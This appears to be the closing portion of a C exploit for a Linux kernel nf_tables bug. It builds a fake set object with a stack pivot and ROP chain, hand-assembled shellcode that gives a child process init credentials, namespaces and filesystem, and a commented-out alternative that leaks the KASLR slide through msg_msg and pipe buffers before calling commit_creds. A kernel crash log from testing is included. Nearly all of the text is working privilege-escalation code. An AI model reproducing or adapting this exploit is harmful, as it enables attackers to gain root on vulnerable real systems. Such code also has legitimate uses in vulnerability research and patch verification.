    ((uintptr_t*)buf)[0x0] = PIVOT_SHIFT + kaslr_slide;             // [3]
    ((uintptr_t*)buf)[0x3] = heap_addr + 0x18 + 0x18 * 8;
    *(uintptr_t*)(buf + 0x39 - 0x18) = PIVOT_POP + kaslr_slide;     // [2]
    ((uintptr_t*)buf)[0x9] = 0;     // field_count, use
    ((uintptr_t*)buf)[0x15] = heap_addr + 0x18 + 0x17 * 8 - 0x68;  // ops => gonna call ->destroy [+0x68]
    ((uintptr_t*)buf)[0x16] = 0;    // flags, genmask, klen, dlen, num_exprs
    ((uintptr_t*)buf)[0x17] = PIVOT_PUSH + kaslr_slide;             // [1]
    strcpy((uintptr_t*)buf + 0x18, delay_set_name); // 0x18, 0x19

    uintptr_t *rop = (uintptr_t*)buf + 0x1a;
    uint64_t it = 0;
    rop[it++] = PRDI + kaslr_slide;
    rop[it++] = heap_addr & ~0xfffUL;
    rop[it++] = PRSI + kaslr_slide;
    rop[it++] = 1;
    rop[it++] = SET_MEMORY_X + kaslr_slide;
    rop[it++] = heap_addr + 0x18 + 0x20 * 8;

    unsigned char *sc = &rop[it];
    unsigned char data[140] = {
        0x49,0xc7,0xc7,0x0,0x0,0x0,0x0,0x48,0xbf,0x0,0x0,0xfe,0xca,0xef,0xbe,0xad,
        0xde,0x48,0xb8,0x1,0x0,0xfe,0xca,0xef,0xbe,0xad,0xde,0xff,0xd0,0x49,0x89,0xc6,
        0x48,0xbb,0x2,0x0,0xfe,0xca,0xef,0xbe,0xad,0xde,0x49,0x89,0x9e,0x50,0x7,0x0,
        0x0,0x49,0x89,0x9e,0x58,0x7,0x0,0x0,0x48,0xbb,0x5,0x0,0xfe,0xca,0xef,0xbe,
        0xad,0xde,0x49,0x89,0x9e,0xa8,0x7,0x0,0x0,0x48,0xbb,0x3,0x0,0xfe,0xca,0xef,
        0xbe,0xad,0xde,0x49,0x89,0x9e,0xc0,0x7,0x0,0x0,0x4d,0x8b,0xb6,0x88,0x4,0x0,
        0x0,0x49,0x81,0xee,0x88,0x4,0x0,0x0,0x49,0xff,0xc7,0x49,0x81,0xff,0xe8,0x3,
        0x0,0x0,0x7e,0xac,0x48,0xbf,0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x48,0xb8,
        0x4,0x0,0xfe,0xca,0xef,0xbe,0xad,0xde,0xff,0xd0,0xeb,0xe8,
    };
    replace(data, sizeof(data), 0xdeadbeefcafe0000, child_pid);
    replace(data, sizeof(data), 0xdeadbeefcafe0001, FIND_TASK_BY_VPID + kaslr_slide);
    replace(data, sizeof(data), 0xdeadbeefcafe0002, INIT_CRED + kaslr_slide);
    replace(data, sizeof(data), 0xdeadbeefcafe0003, INIT_NSPROXY + kaslr_slide);
    replace(data, sizeof(data), 0xdeadbeefcafe0004, MSLEEP + kaslr_slide);
    replace(data, sizeof(data), 0xdeadbeefcafe0005, INIT_FS + kaslr_slide);
    memcpy(sc, data, sizeof(data));

    if ((keys[0] = add_key("user", "yeeeeeeeeeet", buf, 0x400 - 0x18, KEY_SPEC_PROCESS_KEYRING)) < 0)
        perror("add_key");

    write(child_pipe[1], buf, 1);

    // delete nft_set
    release_reclaim_set(nl);

/*
   0xffffffff81d029ff    mov    rax, qword ptr [r12 + 0xc0]
   0xffffffff81d02a07    mov    rdi, r12
   0xffffffff81d02a0a    lea    r13, [r12 + 0xe0]
   0xffffffff81d02a12    movabs r14, 0xdead000000000122
 ► 0xffffffff81d02a1c    mov    rax, qword ptr [rax + 0x68]
   0xffffffff81d02a20    call   0xffffffff82203fc0            <0xffffffff82203fc0>


[    5.781411] general protection fault, probably for non-canonical address 0x1337c0de00000068: 0000 [#1] SMP PTI
[    5.782266] CPU: 0 PID: 125 Comm: kworker/0:2 Tainted: G        W         5.15.109+ #1
[    5.782842] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[    5.783713] Workqueue: events nf_tables_trans_destroy_work
[    5.784316] RIP: 0010:nft_set_destroy+0x8c/0x120
[    5.784689] Code: 41 0f b6 84 24 cc 00 00 00 39 d8 7f ba 49 8b 84 24 c0 00 00 00 4c 89 e7 4d 8d ac 24 e0 00 00 00 49 be 22 01 00 00 00 00 ad de <48> 8b 40 68 e8 9b 15 50 00 49 8b 9c9
[    5.785981] RSP: 0018:ffff92c1c04ebe00 EFLAGS: 00000246
[    5.786396] RAX: 1337c0de00000000 RBX: 0000000000000000 RCX: ffff92c1c04ebe48
[    5.786889] RDX: ffff8d7e02a7f500 RSI: ffff8d7e02ada800 RDI: ffff8d7e02ada800
[    5.787416] RBP: ffff92c1c04ebe48 R08: ffff8d7e3ea30b60 R09: 00000000000001a1
[    5.787935] R10: 0000000000000000 R11: 0000000000000000 R12: ffff8d7e02ada800
[    5.788409] R13: ffff8d7e02ada8e0 R14: dead000000000122 R15: ffff8d7e02a7f500
[    5.788903] FS:  0000000000000000(0000) GS:ffff8d7e3ea00000(0000) knlGS:0000000000000000
[    5.789491] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    5.789859] CR2: 0000000001c3f2a8 CR3: 0000000001a74000 CR4: 00000000001006f0
[    5.790423] Call Trace:
[    5.790627]  <TASK>
[    5.790813]  nf_tables_trans_destroy_work+0x305/0x330
[    5.791223]  process_one_work+0x1a5/0x370
[    5.791546]  worker_thread+0x4d/0x3b0
[    5.791837]  ? process_one_work+0x370/0x370
[    5.792181]  kthread+0x118/0x140
[    5.792462]  ? set_kthread_struct+0x50/0x50
[    5.792783]  ret_from_fork+0x22/0x30
[    5.793207]  </TASK>
[    5.793417] Modules linked in:
[    5.794916] ---[ end trace b803038de4d39721 ]---
[    5.795377] RIP: 0010:nft_set_destroy+0x8c/0x120
[    5.795870] Code: 41 0f b6 84 24 cc 00 00 00 39 d8 7f ba 49 8b 84 24 c0 00 00 00 4c 89 e7 4d 8d ac 24 e0 00 00 00 49 be 22 01 00 00 00 00 ad de <48> 8b 40 68 e8 9b 15 50 00 49 8b 9c9
[    5.797230] RSP: 0018:ffff92c1c04ebe00 EFLAGS: 00000246
[    5.797705] RAX: 1337c0de00000000 RBX: 0000000000000000 RCX: ffff92c1c04ebe48
[    5.798221] RDX: ffff8d7e02a7f500 RSI: ffff8d7e02ada800 RDI: ffff8d7e02ada800
[    5.798804] RBP: ffff92c1c04ebe48 R08: ffff8d7e3ea30b60 R09: 00000000000001a1
[    5.799361] R10: 0000000000000000 R11: 0000000000000000 R12: ffff8d7e02ada800
[    5.799938] R13: ffff8d7e02ada8e0 R14: dead000000000122 R15: ffff8d7e02a7f500
[    5.800480] FS:  0000000000000000(0000) GS:ffff8d7e3ea00000(0000) knlGS:0000000000000000
[    5.801117] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    5.801585] CR2: 0000000001c3f2a8 CR3: 0000000001a74000 CR4: 00000000001006f0
[    5.802477] Kernel panic - not syncing: Fatal exception
[    5.804680] Kernel Offset: 0x2f000000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)
*/

    /*
//#define ANON_PIPE_BUF_OPS 0xffffffff82a04e00
#define ANON_PIPE_BUF_OPS 0xffffffff82a057c0
//0xffffffff818d557b : push rsi ; jmp qword ptr [rsi + 0x39]
#define PIVOT_GADGET  0xffffffff818d557b
//0xffffffff811cc910 : pop rsp ; ret
#define PIVOT_GADGET2 0xffffffff811cc910

#define PREPARE_KERNEL_CRED 0xffffffff81115030 
#define COMMIT_CREDS 0xffffffff81114d50
#define SWITCH_TASK_NAMESPACES 0xffffffff811132e0
#define FIND_TASK_BY_VPID 0Xffffffff8110b730 
#define RET2USERMODE (0xffffffff82201090  + 0x99)
#define POP_RDI_RET 0xffffffff81082fd0
#define POP_RSI_RET 0xffffffff811e7f5e
#define POP_RCX_RET 0xffffffff811080e3
//0xffffffff818b5486 : push rax ; jmp qword ptr [rsi - 0x7f]
#define PUSH_RAX_JMP_QPTR_RSI 0xffffffff818b5486

// not sure
#define INIT_TASK 0xffffffff83615a40
#define INIT_NSPROXY 0xffffffff83662a40

    memset(msg_buf, 0, sizeof(msg_buf));
	ret = msgrcv(msgqids1[0], msg, sizeof(msg_buf), 0, IPC_NOWAIT | MSG_COPY);
	if(ret < 0) perror("msgrcv");
    payload = (uintptr_t *)msg->mtext;
    //for(size_t i = 500; i < ret / 8; i ++){
    //    printf("%d : 0x%llx\n", i, payload[i]);
    //}

    anon_pipe_buf_ops_addr = payload[513];
    //if((anon_pipe_buf_ops_addr & 0xfff) != (ANON_PIPE_BUF_OPS & 0xfff)){
    //    err(1, "fail to leak kaslr...");
    //}   
    printf("[+] anon_pipe_buf_ops_addr : %p\n", anon_pipe_buf_ops_addr);
    kaslr_slide = anon_pipe_buf_ops_addr - ANON_PIPE_BUF_OPS;
    printf("[+] kaslr slide : %p\n", kaslr_slide);

    // now release the upper msg_msg and overwrite the pipe_ops
    memset(buf, 0, sizeof(buf));
    buf_ptr = (uintptr_t)buf;
    // write the fake pipe_buffer

    uintptr_t pipe_buffer_addr = small_msg_msg_addr + 0x400;
    *(uintptr_t *)(buf_ptr) = PIVOT_GADGET2 + kaslr_slide; // page
    *(uintptr_t *)(buf_ptr + 8) = pipe_buffer_addr + 0x50; // offset / len
    *(uintptr_t *)(buf_ptr + 0x10) = pipe_buffer_addr + 0x18; // ops
    *(uintptr_t *)(buf_ptr + 0x18) = PIVOT_GADGET + kaslr_slide; // fake func
    *(uintptr_t *)(buf_ptr + 0x20) = PIVOT_GADGET + kaslr_slide; // fake func
    *(uintptr_t *)(buf_ptr + 0x28) = PIVOT_GADGET + kaslr_slide; // fake func

    *(uintptr_t *)(buf_ptr + 0x39) = PIVOT_GADGET2 + kaslr_slide;
    
    uintptr_t *gadget_start = (uintptr_t *)(buf_ptr + 0x50);
    int idx = 0;
    gadget_start[idx++] = POP_RDI_RET + kaslr_slide;
    gadget_start[idx++] = INIT_TASK + kaslr_slide;
    gadget_start[idx++] = PREPARE_KERNEL_CRED + kaslr_slide;

    gadget_start[idx++] = POP_RSI_RET + kaslr_slide;
    gadget_start[idx++] = pipe_buffer_addr + 0x200 + 0x7f;
    gadget_start[idx++] = PUSH_RAX_JMP_QPTR_RSI + kaslr_slide;
    gadget_start[idx++] = COMMIT_CREDS + kaslr_slide;

    gadget_start[idx++] = POP_RDI_RET + kaslr_slide;
    gadget_start[idx++] = 1;
    gadget_start[idx++] = FIND_TASK_BY_VPID + kaslr_slide;

    gadget_start[idx++] = POP_RSI_RET + kaslr_slide;
    gadget_start[idx++] = pipe_buffer_addr + 0x200 + 0x7f;
    gadget_start[idx++] = PUSH_RAX_JMP_QPTR_RSI + kaslr_slide;
    gadget_start[idx++] = POP_RSI_RET + kaslr_slide;
    gadget_start[idx++] = INIT_NSPROXY + kaslr_slide;
    gadget_start[idx++] = SWITCH_TASK_NAMESPACES + kaslr_slide;

    gadget_start[idx++] = RET2USERMODE + kaslr_slide;
    gadget_start[idx++] = 0;
    gadget_start[idx++] = 0;
    save_state();
    // for prevent xmm segfault
    rsp &= ~0xf;
    rsp += 8;
    gadget_start[idx++] = post_exploit;
    gadget_start[idx++] = cs;
    gadget_start[idx++] = rflags;
    gadget_start[idx++] = rsp;
    gadget_start[idx++] = ss;
    

    *(uintptr_t *)(buf_ptr + 0x200) = POP_RDI_RET + kaslr_slide;

    memset(msg_buf, 0, sizeof(msg_buf));
    sleep(1);
	ret = msgrcv(msgqids1[0], msg, 1, 0, IPC_NOWAIT | MSG_NOERROR);
	if(ret < 0) perror("msgrcv");
    payload = (uintptr_t *)msg->mtext;

    // reclaim unaligned 1k msg_msg quickly!
    spray_msgsnd(msgqids2, 0x100, 0x400 - 48, buf, 1, 3);

    int i;
    printf("[+] will start with gadget addr %p\n", PIVOT_GADGET + kaslr_slide);
    printf("[+] type any number to go!\n");
    scanf("%d", &i);
    

    // and trigger ROP!
    for(int i = 0; i < 0x100; i++){
        close(pipefd[i][0]);
        close(pipefd[i][1]);
    }
    */
    
	mnl_socket_close(nl);

    sleep(1000);
}